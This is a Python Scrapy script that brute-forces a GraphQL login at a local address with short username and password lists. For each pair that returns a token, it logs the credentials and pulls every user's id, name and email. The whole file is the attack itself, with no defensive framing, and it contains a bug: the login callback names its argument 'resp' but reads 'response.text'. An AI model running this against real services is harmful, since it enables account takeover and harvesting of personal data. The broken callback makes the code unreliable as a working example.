import scrapy
import json

class BruteForceSpider(scrapy.Spider):
    name = "bruteforce_spider"
    start_urls = ['http://127.0.0.1:5000/graphql']

    def start_requests(self):
        usernames = ['admin', 'user', 'test']
        passwords = ['password', '123456', 'admin', 'test']

        for username in usernames:
            for password in passwords:
                login_query = f"""
                mutation {{
                    login(username: "{username}", password: "{password}")
                }}
                """

                headers = {
                    "Content-Type": "application/json",
                }

                yield scrapy.Request(
                    url=self.start_urls[0],
                    method="POST",
                    headers=headers,
                    body=json.dumps({"query": login_query}),
                    meta={'username': username, 'password': password},
                    callback=self.parse_login
                )

    def parse_login(self, resp):
        data = json.loads(response.text)
        token = data.get('data', {}).get('login')        

        if token:
            self.log(
                f"""
                Login with {resp.meta['username']}:{resp.meta['password']}
                """
            )

            query = """
            {
              users {
                id
                name
                email
              }
            }
            """

            headers = {
                "Content-Type": "application/json",
                "Authorization": f"Bearer {token}"
            }

            yield scrapy.Request(
                url=self.start_urls[0],
                method="POST",
                headers=headers,
                body=json.dumps({"query": query}),
                callback=self.parse_users
            )

    def parse_users(self, response):
        data = json.loads(response.text)

        for user in data['data']['users']:
            yield {
                'ID': user['id'],
                'Name': user['name'],
                'Email': user['email']
            }
